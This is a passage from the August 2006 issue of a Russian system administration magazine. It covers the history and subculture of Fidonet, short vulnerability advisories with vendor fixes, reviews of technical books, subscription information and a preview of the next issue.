В российском Фидо в его лучшие годы существовало порядка трех ты-сяч конференций, большая часть из ко-торых функционирует до сих пор. Са-мые популярные эхи: RU.ANEKDOT – безусловно, са-

мая известная конференция. По-явилась летом 1992 года, став на-следницей SU.HUMOR. Предназна-чалась она для публикации анекдо-тов, однако обсуждали в ней прак-тически всё. Каждый новичок в Фидо обязательно подписывается на RU.ANEKDOT.

RU.LINUX.CHAINIK – можно ска-зать, единственная конференция, где новичок мог что-либо узнать о свободном ПО. Здесь выклады-вались FAQ, документы, инфор-мация о различных дистрибути-вах. Во время, когда Интернет еще не был общедоступным, а книжек о *nix просто не существовало, не-обходимость в подобной конферен-ции трудно было переоценить. Су-ществовала и RU.LINUX, предна-значавшаяся для более опытных пользователей, однако она была менее популярна и интересна.

SU.TORMOZ – весьма специфич-ное место. Больше всего похоже на современные веб-чаты, толь-ко в замедленном виде. Разгово-ры совершенно ни о чем, зачас-тую переходившие во взаимные оскорбления. Тем не менее вокруг конференции образовалось це-лое коммьюнити под названием «Su.Tormoz team», участники кото-рого были постоянными подписчи-ками эхи на протяжении несколь-ких лет.

SU.KASHENKO.LOKAL – о порта-ле Udaff.com слышал, наверное, каждый, кто имеет доступ к ресур-сам сети Интернет. Так вот, сама по себе субкультура так называе-мых падонкаф зародилась именно в Фидо, в выше обозначенной эхе. Название было выбрано из-за из-вестной психиатрической больни-цы. «Кащениты», как их именова-ли в сети, отличались сильной неа-декватностью в общении, часто ис-пользовали ненормативную лекси-ку, не утруждали себя следованию нормам русского языка.

RU.NETHACK – место общения со-здателей компьютерных вирусов, хакеров и компьютерных хулига-нов. Несмотря на то что там иног-да появлялись настоящие специ-алисты в области IT-безопаснос-ти, большей частью подписчи-ками конференции являлась мо-лодёжь, спорившая о «вечных» те-мах, типа «Что круче – Basic или Pascal».

MO.ECHO – конференция для жи-телей столицы. Московские ново-сти, события, слухи.

Вообще, об эхах говорить мож-но бесконечно. Существовали и му-зыкальные (SU.MUSIC), и политичес-кие (SU.POL), и великое множест-во компьютерных конференций. Пос-леднее легко объяснимо – пользова-телями Фидо в нашей стране являют-ся, главным образом, профессиональ-ные программисты и системные адми-нистраторы.

Субкультура FidonetГоворить о Фидо только с технической точки зрения (как о компьютерной се-ти) по меньшей мере неправильно. Это прежде всего – сообщество, я бы даже сказал – субкультура.

Отношения в Fidonet действитель-но неформальные, «панибратские». Независимо от того, кем является со-беседник, принято обращаться на «ты». Фидошники, как правило, помогают друг другу. Интересный факт: в нача-ле становления сети по Москве езди-ла команда сисопов и бесплатно на-страивала каждому желающему до-ступ в Fidonet.

Впрочем, несмотря на это, са-мые жестокие «флеймы» происходи-ли именно в Фидо. Термин «Holy war» («священная война») появился как раз в этой сети. С++ против Pascal, WarCraft против StarCraft, в конце концов, «Али-са» против «Гражданской обороны»… подобные споры составляли огромный

Жаргон ФидоЗа время существования сети Fidonet в ней зародился свой, компьютерный лексикон, позже «завоевавший» и Интернет. Вот не-которые из жаргонизмов Фидо: ака (aka, also known as) – «также из-

вестен как» (другое имя, другой адрес человека);

борда (BBS, Bulleten Board System) – электронная доска объявлений;

босс, нода (узел) – основная единица Fidonet, через которою с сетью соеди-няются пользователи (поинты);

зы (p.s., post scriptum) – постскрип-тум;

имхо (imho) – по моему мнению; нодлист (nodelist) – список узлов в ка-

ком-либо локальном сегменте Fidonet;

оффтопик (offtopic) – сообщение не по теме конференции;

рулез (rulez) – возглас восхищения, высшего одобрения;

сабж (subject) – тема сообщения; сакс (sucks или suxx) – что-то плохое,

нехорошее; cисоп – сокращение от «системный

оператор», администратор узла сети; эха – тематическая конференция; эхотаг (echotag) – название конферен-

ции; LOL (Laughing Out Loud) – говорится

в ответ на что-либо смешное; RTFM (Read The F..k... Manual) – мож-

но перевести как «будьте добры изу-чить документацию по интересующе-му вас вопросу».

90


процент трафика Fidonet. Для «разбо-рок по интересам» были отведены спе-циальные эхи, вроде SU.NAEZD или SU.FLAME, однако модераторам при-ходилось прекращать «священные вой-ны» и в других конференциях.

Как и в любом сообществе, в своё время в Фидо существовали свои зна-менитости, свои легенды. Например, пользователь Алексей Попов просла-вился тем, что выделил для своего любимого пса, Бутуза, собственный узел. Причем Алексей везде утверж-дал, что Бутуз – собака только по ма-тери, по отцу же он – человек. Шутки шутками, но системным оператором одного из узлов в Москве числился не-кий Butuz Popov.

Крупнейшей же мистификацией Фидо считался Алекс Экслер. Оказа-лось, что под этим псевдонимом скры-ваются аж шесть человек, работаю-щих в Московском институте геофи-зики. Псевдоним сложился из первых букв фамилий участников. Виртуаль-ный персонаж использовался для кол-лективного выхода в Фидо всей груп-пой и стал довольно известен на про-сторах сети. История с разоблачени-ем наделала много шума. Однако вы-яснить, какое же отношение ко всему этому имел настоящий Алекс Экслер, писатель и создатель сайта exler.ru, никто так и не смог.

Известностью пользовалась и Ка-тя Лажинцева, главным образом пото-му, что была первой и на протяжении

некоторого времени единственной де-вушкой в Fidonet.

В Фидо сформировался целый фольклор, надо заметить, весьма са-мобытный. Анекдоты, байки, расска-зы… Например, множество авторов писало в созданную Кагановым кон-ференцию OBEC.PACTET.

О встречах фидошников наверня-ка слышал каждый. Это так называе-мые сисопки и поинтовки. На первых собираются владельцы узлов, на вто-рых – рядовые участники Фидо. На по-добных встречах пьют пиво (некоторые даже язвительно называют поинтов-ки «фидопойками»), обсуждают сете-вое житие-бытие. Да и познакомиться с человеком, с которым общался ис-ключительно в сети и знал его лишь по никнейму, всегда интересно. Обыч-но поинтовки проводятся на городском уровне, реже – устраиваются междуго-родние встречи. Те, кто посещал мос-ковскую выставку «Комтек» в девянос-тые годы прошлого столетия, наверня-ка замечали скопление людей с прико-лотыми на грудь номерами-идентифи-каторами в Фидо.

Среди московских пользователей популярностью пользовалось заведе-ние «Netclub». Этот клуб (скорее – бар) был любимым местом фидошников. По-том «Netclub» стали посещать далекие от компьютеров люди, периодически ус-траивавшие там вечеринки с распити-ем алкогольных напитков и фейервер-ком, что не обходилось без порчи ме-

бели и музыкальной аппаратуры. Поз-же «Netclub», к огромному сожалению пользователей Фидо, был закрыт.

Грустные реалии FidonetСеть Фидо достигла пика популярнос-ти в 1996 году, когда по официальным данным количество узлов достигло 35 тысяч (а по неофициальным – в не-сколько раз больше).

В то время многие сравнивали Fidonet и Интернет, приводя доводы в пользу первого. Главным преиму-ществом считалась бесплатность «се-ти друзей», но с каждым годом этот ко-зырь становился все менее актуаль-ным в связи с удешевлением доступа к глобальной паутине. Теперь вопросов уже нет – Интернет с его красивыми и информативными порталами одержал безоговорочную победу над системой конференций, а фидошники разбре-лись по веб-форумам и блогам.

Большинство эхо-конференций функционирует и поныне, правда, ве-роятность того, что ваше сообщение будет хоть кем-то прочтено, близка к нулю. Ушли из Фидо все те, кого мож-но было считать элитой сети, закры-лась масса узлов. Вместе с ними ис-чезла и сама атмосфера, сеть переста-ла восприниматься как сообщество.

На данный момент сеть Fidonet, ко-нечно же, ещё не умерла. Кто-то пи-шет по привычке, кого-то привлекает бесплатный доступ. Однако очевидно, что это – уже не старая-добрая Фидо. Как бы там ни было, Fidonet навсегда останется в памяти тысяч пользовате-лей местом, в котором они встретили новых приятелей и провели лучшие ча-сы своей жизни.

Я выражаю благодарность Сергею Фролову ([email protected]) за помощь в работе над статьей.

Редактор рубрики: Дмитрий Мороз

1. http://groups.google.ru – обновляемые архивы эхо-конференций Fidonet.

2. http://faqs.org.ru/Fidonet/fidohist.htm – история российского Фидо в вопросах и ответах.

3. http://www.Fidonet.org – официальный сайт сети.

4. http:// l ib.ru /TXT/Fidonet.txt – устав Fidonet (FidoPolicy).

5. http://rndfido.net.ru – документация, про-граммы.

Архивы эхо-конференций Фидо на сайте groups.google.ru

91№8, август 2006

bugtraq

Выполнение произвольного кода в Macromedia Flash PlayerПрограмма: Macromedia Flash Player 8.0.24, возможно, бо-лее ранние версии.Опасность: Высокая.Описание: Уязвимость существует из-за неизвестной ошибки доступа к памяти при обработке SWF-файлов. Уда-ленный пользователь может с помощью специально сфор-мированного SWF-файла вызвать переполнение буфера и выполнить произвольный код на целевой системе.URL производителя: www.macromedia.com.Решение: Установите последнюю версию (9.0) с сайта про-изводителя.

Множественные уязвимости в WiresharkПрограмма: Wireshark (ранее Ethereal) версии до 0.99.2.Опасность: Высокая.Описание: Уязвимости существуют в различных диссек-торах протоколов из-за ошибок проверки границ данных, ошибок форматной строки, ошибок завышения на едини-цу и ошибок распределения памяти. Удаленный пользо-ватель может вызвать отказ в обслуживании приложения, потребить все доступные ресурсы на системе и выполнить произвольный код.URL производителя: www.wireshark.org.Решение: Установите последнюю версию (0.99.2) с сайта производителя.

Отказ в обслуживании в MailEnableПрограмма: MailEnable Standard (все версии), MailEnable Professional (все версии), MailEnable Enterprise (все вер-сии).Опасность: Средняя.Описание: Уязвимость существует из-за ошибки в служ-бе SMTP при обработке аргументов команды HELO. Уда-ленный пользователь может с помощью специально сфор-мированной команды HELO вызвать отказ в обслужива-нии приложения.URL производителя: www.mailenable.com.Решение: Установите исправление с сайта производи-теля.

Раскрытие данных в IBM WebSphere Application ServerПрограмма: IBM WebSphere Application Server 5.x.Опасность: Средняя.Описание: 1. Уязвимость существует из-за ошибки в реа-лизации веб-контейнера. Удаленный пользователь может просмотреть исходный код JSP-произвольных файлов.

2. Неизвестная ошибка существует в административ-ной консоли.URL производителя: www.ibm.com.Решение: Установите исправление с сайта производи-теля.

Отказ в обслуживании в GnuPGПрограмма: GnuPG 1.4.3 и 1.9.20, возможно, более ран-ние версии.Опасность: Средняя.Описание: Уязвимость существует из-за ошибки в parse-packet.c при обработке длины пакета. Удаленный пользова-тель может с помощью специально сформированного паке-та, содержащего слишком большое значение в поле length, употребить все доступные ресурсы на системе и вызвать от-каз в обслуживании. Дальнейшая эксплуатация уязвимос-ти позволит вызвать целочисленное переполнение буфера и аварийно завершить работу gpg. Для успешной эксплуата-ции уязвимости должна использоваться опция --no-armor.URL производителя: www.gnupg.org.Решение: Установите последнюю версию с сайта произ-водителя.

Обход каталога в WebminПрограмма: Webmin 1.270 для Windows и более ранние версии.Опасность: Средняя.Описание: Уязвимость существует из-за неизвестной ошибки при обработке входных данных. Удаленный поль-зователь может просмотреть произвольные файлы на сис-теме.URL производителя: www.webmin.com.Решение: Установите последнюю версию (1.280) с сайта производителя.

Отказ в обслуживании в Lotus DominoПрограмма: Lotus Domino 6.x.Опасность: Средняя.Описание: Уязвимость существует из-за ошибки в меха-низме маршрутизации сообщений (nrouter.exe) при обра-ботке vCal-запросов. Удаленный пользователь может пос-лать специально сформированный vCal-запрос и потребить все процессорные ресурсы на системе.URL производителя: www.lotus.com.Решение: Установите последнюю версию (6.5.4 FP1, 6.5.5 или 7.0) с сайта производителя.

Отказ в обслуживании в ядре LinuxПрограмма: Linux Kernel 2.6.x.Опасность: Средняя.Описание: Уязвимость существует из-за ошибки при обра-ботке SCTP-пакетов. Удаленный пользователь может с по-мощью специально сформированного SCTP-пакета вызвать отказ в обслуживании системы.URL производителя: www.kernel.org.Решение: Установите последнюю версию (2.6.16.23 или 2.6.17.3) с сайта производителя.


92

книжная полка

Это издание является переводом ставшей уже культовой книги «The Shellcoder`s handbook: discovering and exploiting security holes» от гуру хакин-га и безопасности с мировыми име-нами. Из первой части книги вы узна-ете о процессе эксплуатации уязви-мостей в ОС GNU/Linux, работающих на компьютерах с x86-архитектурой. Объяснения начинаются с самых азов,

Книга носит сугубо практических ха-рактер, и весь излагаемый материал построен по схеме «проблема-реше-ние-обсуждение». По сути это изда-ние – огромный сборник различных решений из самых разных областей администрирования и использования ОС GNU/Linux. Круг рассмотренных тем очень велик, судите сами: уста-новка и модификация программ в сис-

так что даже люди, абсолютно незна-комые с этой темой, при желании лег-ко освоятся. Подробно рассмотрены следующие темы: переполнение стека, создание внедряемого кода (shellcode), переполнение кучи, а также дефекты форматных строк.

Во второй части, которая носит на-звание «Платформа Windows», авто-ры повествуют о разработке внедря-емого кода для Windows, различных переполнениях, возможных в процес-се использования этой ОС и различ-ного стороннего ПО, обходе различ-ных фильтров.

Освоив третью часть книги, вы на-учитесь самостоятельно искать уяз-вимости в различных системах и про-граммных комплексах. Среди рас-смотренных тем: формирование ра-бочей среды (необходимая докумен-тация, обзор различного ПО), внесе-ние ошибок, искусство фазинга, ана-лизаторы исходных текстов на языках семейства C, инструментальный ана-

Искусство взлома и защиты системДжек Козиол, Дэвид Личфилд, Дэйв Эйтэл и др.

лиз, трассировка уязвимостей, двоич-ный анализ.

Из раздела «Дополнительные ма-териалы» вы узнаете об атаках на ба-зы данных (MS SQL и Oracle), слож-ностях, с которыми вы можете столк-нуться при атаке на ту или иную систе-му, о переполнениях в ядре и эксплуа-тации уязвимостей ядра (на примерах ОС Solaris и OpenBSD). Главная заслу-га авторов, в том что им удалось удач-но изложить весь представленый ма-териал в простой и доступной форме, хорошо его структурировав и сопрово-дим большим количеством примеров. Замечательная книга, которая будет интересна широкому кругу системных администраторов и программистов.

Linux. Сборник рецептовКарла Шрёдертемах на базе rpm, установка и сопро-вождение программного обеспече-ния в системах на базе дистрибутива Debian, сборка программ из исходных кодов, идентификация оборудования, редактирование текстовых файлов в joe и vim, запуск и завершение ра-боты в Linux, управление пользовате-лями и группами, операции с файла-ми и разделами, заплатки и настрой-ка обновления ядра, запись CD и DVD, системный загрузчик и альтернатив-ная загрузка.

Восстановление работоспособнос-ти системы на примере Knoppix, CUPS, настройка видео и X-window. Архива-ция и восстановление, удаленный до-ступ, управление версиями, протокол NTP. Создание почтового сервера на основе Postfix, борьба со спамом и вре-доносными программами, веб-сервер Apache, Samba, а также вопросы, свя-занные с DNS. Все это и многое дру-гое вы найдете на страницах этой кни-ги. В приложении находится хороший

список различных ссылок, по которым можно ознакомиться с более подроб-ной документацией по GNU/Linux и со-путствующим темам. Иногда бывают моменты, когда какую-либо задачу нужно решить быстро, а на детальное изучение документации попросту нет времени, именно в подобных случаях эта книга будет очень кстати. По боль-шей части все советы и примеры в кни-ге ориентированы на дистрибутивы Red Hat, Fedora и Debian (так пишет ав-тор), однако нужно заметить, что боль-шинство из них актуальны и для других дистрибутивов. Замечательное изда-ние, которое окажется полезным всем без исключения системным админист-раторам ОС GNU/Linux.

Издательство:

Год издания:

Количество страниц:

ISBN:

Цена:

Книга предоставлена издательством «Питер».

«Питер»

2006

432

5-469-01188-7

≈ 390 руб.




ISBN:

Цена:


«Питер»

2006

416

5-469-01233-6

≈ 675 руб.

93№8, август 2006

книжная полка

Это издание является переводом книги издательства O`Reilly «Learning Windows Server 2003», что само по себе уже ука-зывает на то, что книга хорошая. Повес-твование начинается с вводной части по Windows Server 2003. Далее вы узнае-те об установке и развертывании ОС, включая вопросы, связанные с автома-тической установкой, обновлении уста-новленных копий. Службы файлов и пе-

Тема защиты информации от посто-ронних глаз была актуальна во все времена. Криптография как наука яв-ляется одной из основополагающих во всех областях, связанных с защитой данных. Несмотря на то что эта книга по сути является учебником для сту-дентов вузов, стиль изложения мате-риала достаточно «живой», без излиш-ней сухости и академической строгос-

Мир программирования. КриптографияНайгел Смарт

ти. Также нельзя не отметить, что эту книгу можно начать изучать с мини-мальным представлением о криптог-рафии как о науке (однако предпола-гается, что знания математики на до-статочном уровне у вас все же есть). В первой части, которая носит назва-ние «Предварительные математичес-кие сведения», автор расскажет вам об арифметике остатков, конечных по-лях и вероятностях, а также об эллип-тических кривых. Раздел «Симметрич-ное шифрование» представлен мате-риалом об истории шифров, теорети-ко-информационной стойкости. Под-робно рассмотрены DES и распреде-ление симметричных ключей. В тре-тьей части «Криптосистемы с откры-тым ключом и подписи» автор повес-твует об основных алгоритмах шиф-рования с открытым ключом, тестах на простоту, факторизации, дискрет-ных логарифмах, методах получения

аутентичного открытого ключа. Не ос-тались без внимательного рассмот-рения и вопросы, связанные со стой-костью шифров. Вы узнаете об атаках на схемы с открытым ключом, мето-дах определения стойкости, теорети-ческой сложности и доказуемой стой-кости. В приложении находится мате-риал, посвященный основной матема-тической терминологии, а также раз-личные примеры реализации на языке Java. Хорошая книга, которая окажется полезной не только студентам, изучаю-щим криптографию, но и программис-там, работающим в данной области.

Администрирование Windows Server 2003. Подробное руководствоДжонатан Хассел

чати (установка служб общего доступа к файлам, применение автономных па-пок, квоты, резервное копирование, ис-пользование зашифрованных файло-вых систем). Доменная структура име-нования (рассмотрены зоны и доме-ны, записи ресурсов, процесс создания сервера имен, зоны, интегрированные в AD). Active Directory (объекты и кон-цепции AD, построение структуры, реп-ликации каталогов, процесс миграции на AD, а также поддержка существую-щей инфраструктуры). Групповая поли-тика и IntelliMirrot (введение в групповую политику, средства управления, локаль-ная групповая политика, рекомендации по развертыванию). Защита Windows и управление исправлениями (принци-пы информационной безопасности, ау-дит и журнал событий, службы SUS). IIS (архитектура, компоненты и установка

Обзор книжных новинок подготовил Александр Байрак

IIS, управления различными служба-ми, автоматизация администрирова-ния). Инфраструктура .NET Framework (введение, типы приложений, защита, сборки, модели развертывания). Служ-бы терминалов Windows (протокол RDP, администрирование служб терминалов, управление в командной строке). Также рассмотрены кластерные технологии и NLB кластеры, службы индексирования и очереди сообщений. Отличная книга займет достойное место в библиотеке технической литературы любого систем-ного администратора Windows.




ISBN:

Цена:

Книга предоставлена издательством «Тех-

носфера».

«Техносфера»

2004

528

5-94836-043-1

≈ 370 руб.




ISBN:

Цена:


«Питер»

2006

576

5-91180-019-5

≈ 450 руб.

94

bugtraq

Раскрытие данных в Webmin/UserminПрограмма: Webmin версии до 1.290, Usermin версии до 1.220.Опасность: Средняя.Описание: Уязвимость существует из-за ошибки при об-работке URL. Удаленный неавторизованный пользователь может с помощью специально сформированного URL про-смотреть произвольные файлы на системе. Подробности уязвимости не сообщаются.URL производителя: www.webmin.com.Решение: Установите последнюю версию с сайта произ-водителя.

Множественные уязвимости в OpenOfficeПрограмма: OpenOffice 1.1.x, OpenOffice 2.x.Опасность: Средняя.Описание: 1. Уязвимость существует при обработке опре-деленных Java-апплетов в документах OpenOffice. Удален-ный пользователь может с помощью специально сформи-рованного документа обойти ограничения песочницы и по-лучить доступ к системным ресурсам с привилегиями те-кущего пользователя.

2. Уязвимость существует из-за ошибки при обработке макросов, прикрепленных к документам. Злоумышленник может без ведома пользователя выполнить произвольный Basic-код с привилегиями текущего пользователя.

3. Уязвимость существует из-за ошибки проверки гра-ниц данных при обработке определенных XML-файлов. Уда-ленный пользователь может с помощью специально сфор-мированного XML-файла вызвать переполнение буфера и выполнить произвольный код на целевой системе.URL производителя: www.openoffice.org.Решение: Установите последнюю версию (2.0.3) с сайта производителя.

Раскрытие данных в .NET FrameworkПрограмма: .NET Framework 2.0.Опасность: Средняя.Описание: Уязвимость существует из-за ошибки при об-работке URL. Удаленный пользователь может обойти огра-ничения безопасности ASP.Net и получить неавторизован-ный доступ к объектам в каталогах приложений (Application folder). Для удачной эксплуатации уязвимости злоумышлен-ник должен знать название объекта.URL производителя: www.microsoft.com,Решение: Установите исправление с сайта производи-теля.

Выполнение произвольного кода в Microsoft Internet Information ServerПрограмма: Microsoft Internet Information Server (IIS) 5.0, 5.1, 6.0.Опасность: Средняя.Описание: Удаленный авторизованный пользователь с при-вилегиями на загрузку файлов может с помощью специ-ально сформированного ASP-файла выполнить произ-вольный код на целевой системе. Подробности уязвимос-ти не сообщаются.URL производителя: www.microsoft.com.Решение: Установите исправление с сайта производи-теля.

Отказ в обслуживании в Cisco IPSПрограмма: Cisco Intrusion Prevention System (IPS) 5.1.Опасность: Средняя.Описание: Уязвимость существует из-за ошибки в стандар-тном драйвере сетевого гигабитного адаптера на чипсете Intel при обработке некоторых IP-пакетов. Удаленный поль-зователь может с помощью специально сформированного IP-пакета вызвать отказ в обслуживании устройства, если этот адаптер сконфигурирован на мониторинг трафика.URL производителя: www.cisco.com.Решение: Установите исправление (версию 5.1(2)) с сай-та производителя.

Отказ в обслуживании в SambaПрограмма: Samba 3.0.1 – 3.0.22.Опасность: Низкая.Описание: Уязвимость существует из-за ошибки при об-работке большого количества подключений к сетевым ре-сурсам. Удаленный пользователь может создать большое количество соединений и заставить smbd потреблять боль-шое количество системных ресурсов.URL производителя: www.samba.org.Решение: Установите последнюю версию (3.0.23) с сайта производителя.

Повышение привилегий в ядре LinuxПрограмма: Linux kernel версии до 2.6.17.4.Опасность: Низкая.Описание: Уязвимость существует из-за недостаточной обработки данных дампа ядра. Злоумышленник может со-здать дамп в запрещенных директориях или получить при-вилегии пользователя root на системе.URL производителя: www.kernel.org.Решение: Установите последнюю версию ядра (2.6.17.4) с сайта производителя.

Уязвимость состояния операции в ядре LinuxПрограмма: Linux kernel версии до 2.6.17.5.Опасность: Низкая.Описание: Уязвимость состояния операции существует при изменении статуса файла в файловой системе /proc. Ло-кальный пользователь может выполнить произвольный код на целевой системе с привилегиями пользователю root.URL производителя: www.kernel.org.Решение: Установите последнюю версию (2.6.17.5 или вы-ше) с сайта производителя.


95№8, август 2006

подписка на 2006 год

Российская Федерация Подписной индекс: годовой – 20780, полугодовой – 81655 Каталог агентства «Роспечать» Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» Альтернативные подписные агентства: Агентство «Интер-Почта» (495) 500-00-60, курьерская

доставка по Москве Агентство «Вся Пресса» (495) 787-34-47 Агентство «Курьер-Прессервис» Агентство «ООО Урал-Пресс» (343) 375-62-74 ЛинуксЦентр www.linuxcenter.ru Подписка On-line http://www.arzi.ru http://www.gazety.ru http://www.presscafe.ru

СНГ В странах СНГ подписка принимается в почтовых отделе-ниях по национальным каталогам или по списку номенк-латуры «АРЗИ»: Азербайджан – по объединенному каталогу россий-

ских изданий через предприятие по распространению

печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Казахстан – по каталогу «Российская Пресса» через

ОАО «Казпочта» и ЗАО «Евразия пресс» Беларусь – по каталогу изданий стран СНГ через РГО

«Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10) Узбекистан – по каталогу «Davriy nashrlar» российс-

кие издания через агентство по распространению пе-чати «Davriy nashrlar» (7000029, г. Ташкент, пл. Муста-киллик, 5/3, офис 33)

Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г. Ереван, пл. Сасунци Да-вида, д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул. Сарьяна, 22)

Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29) и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42)

Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)

по списку через ГУП «Почта Приднестровья» (МD-3300, г. Тирасполь, ул. Ленина, 17)

по прайс-листу через ООО Агентство «Editil Periodice» (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)

Подписка для Украины: Киевский главпочтамт Подписное агентство «KSS», тел./факс (044)464-0220

Подписные индексы:

20780*

81655**

по каталогу агентства «Роспечать»

87836

по каталогу агентства«ПрессаРоссии»

* годовой** полугодовой

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№8(45), Август, 2006 год

УЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

РУКОВОДИТЕЛЬ ПРОЕКТАПетр Положевец

РЕДАКЦИЯИсполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир ЛукинРедакторАлексей КоршуновВнештатные редакторыАлексей БарабановСергей СупруновДмитрий Мороз

РЕКЛАМНАЯ СЛУЖБАтел./факс: (495) 628-8253Евгения Тарабринаreс[email protected]

Верстка и оформление[email protected]Дизайн обложкиНиколай Петрочук

По вопросам распространенияобращайтесь по телефону:(495) 628-8253 (доб. 120)

107045, г. Москва,Ананьевский переулок, дом 4/2, стр. 1тел./факс: (495) 628-8253Сайт журнала: www.samag.ru

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейГП «Московская Типография №13»Тираж 11000 экз.

Журнал зарегистрированв Министерстве РФ по делам печати, телерадиовещания и средств массо-вых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002 г.).

За содержание статьи ответственность несет автор. За содержание рекламно-го объявления ответственность несет рекламодатель. Все права на опубли-кованные материалы защищены.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

Уважаемые читатели!

Спешите оформить подпискуна второе полугодие 2006 года!

Приобрести новые и старые номера журналавы можете через интернет-магазины LinuxCenter.ru и Allsoft.ru.

Доставка почтой в любую точку России.

Система авторизации PAMСистема PAM используется практичес-ки на всех UNIX-системах, за исключе-нием разве что OpenBSD. В статье вы найдете описание процесса конфигу-рирования системы PAM и установки и настройки дополнительных модулей. Программистам пригодится информа-ция о том, как написать свой модуль и приложение для него.

Суровая правда, скрытая за «розовыми очками»: история компании TransmetaВ мире существует категория людей, которые из кожи вон лезут, лишь бы подарить другим благо, причём без-возмездно. Но зачастую большинс-тву «манна небесная» не всегда по ду-ше, или, попросту, не нужна. Компа-ния Transmeta принесла практически «совершенные» процессоры в массы, однако собственноручно допущенные ошибки, жестокая конкуренция и при-вередливые пользователи не позволи-ли задуманному осуществиться.

Защита от malware при помощи BufferZoneБорьба с различного рода злонаме-ренными программами, является час-тью обязанностей администратора но, учитывая, что ежедневно обнаружива-ется около 50 новых, это становится не

простым делом. Разработчики изра-ильской компании Trustware Inc. пред-лагают подход, позволяющий актив-но защищать операционную систему Windows против злонамеренного про-граммного обеспечения и других ви-дов атак. Без каждодневных обновле-ний, с максимальной защитой при ми-нимальном участии пользователя.

SASL – модуль сетевой аутентификации пользователейС помощью библиотеки SASL2 сете-вые приложения могут автоматически договориться об использовании опре-деленного механизма подтверждения идентичности пользователя. Как на-строить библиотеку SASL для работы совместно c Kerberos?

Упаковщики исполняемых файлов в Linux/BSDБольшинство UNIX-программ рас-пространяются в исходных текстах, но количество коммерческих продук-тов с закрытым кодом неуклонно рас-тет, зачастую распространясь в упа-кованном виде. Это не только пре-пятствует анализу, но снижает про-изводительность и ухудшает совмес-тимость с «зоопарком» UNIX-клонов. покажем на примере ELFCrypt, UPX, Burneye и Shiva, как можно освобо-диться от упаковщиков.

045 Системный Администратор 08 2006

Documents

Transcript of 045 Системный Администратор 08 2006